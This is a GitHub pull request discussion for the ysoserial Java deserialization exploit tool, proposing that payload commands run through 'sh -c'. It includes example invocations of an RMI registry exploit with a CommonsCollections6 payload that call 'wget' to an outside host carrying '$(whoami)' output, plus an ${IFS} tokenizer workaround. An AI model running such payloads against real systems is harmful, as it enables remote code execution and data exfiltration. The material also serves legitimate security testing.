Skip to content

change Runtime exec(String) to exec(String[])#60

Closed
retanoj wants to merge 1 commit into
frohoff:masterfrom
retanoj:runtime_exec_array
Closed

change Runtime exec(String) to exec(String[])#60
retanoj wants to merge 1 commit into
frohoff:masterfrom
retanoj:runtime_exec_array

Conversation

@retanoj

@retanoj retanoj commented Nov 18, 2016

Copy link
Copy Markdown

Java Runtime.getRuntime().exec(String cmd) is not a shell environment. It could not use cmd like "echo $(whoami)" which $(whoami) would be executed.
Runtime.getRuntime().exec("echo $(whoami)");
will print out : $(whoami)
but not : root

But we could make the String cmd in a shell environment like this
String[] cmd_arr = {"sh", "-c", "echo $(whoami)"};
Runtime.getRuntime().exec(String[] cmd_arr);
will print out : root

Or we could make StringTokenizer work appropriately that Runtime.getRuntime().exec use it to parse String cmd. A little ugly cmd like this
Runtime.getRuntime().exec("bash -c echo${IFS}$(whoami)");
will print out: root

So I change execArgs and exec parameters to make String command into a shell environment. After doing this, user could use
java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections6 'wget selfhost.com/?$(whoami)'
instead of
java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections6 'bash -c wget${IFS}selfhost.com/?$(whoami)'

@retanoj

retanoj commented Nov 18, 2016

Copy link
Copy Markdown
Author

Sorry for not considering Windows.
Maybe we could add a param like -win to switch exec() use String[]{"sh", "-c", xx} or String[]{"cmd.exe", "/c", xx}

@frohoff

frohoff commented Sep 2, 2017

Copy link
Copy Markdown
Owner

Closing this but opened #71 in it's place.

@frohoff frohoff closed this Sep 2, 2017
@hktalent

Copy link
Copy Markdown

@retanoj @frohoff
see #117

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants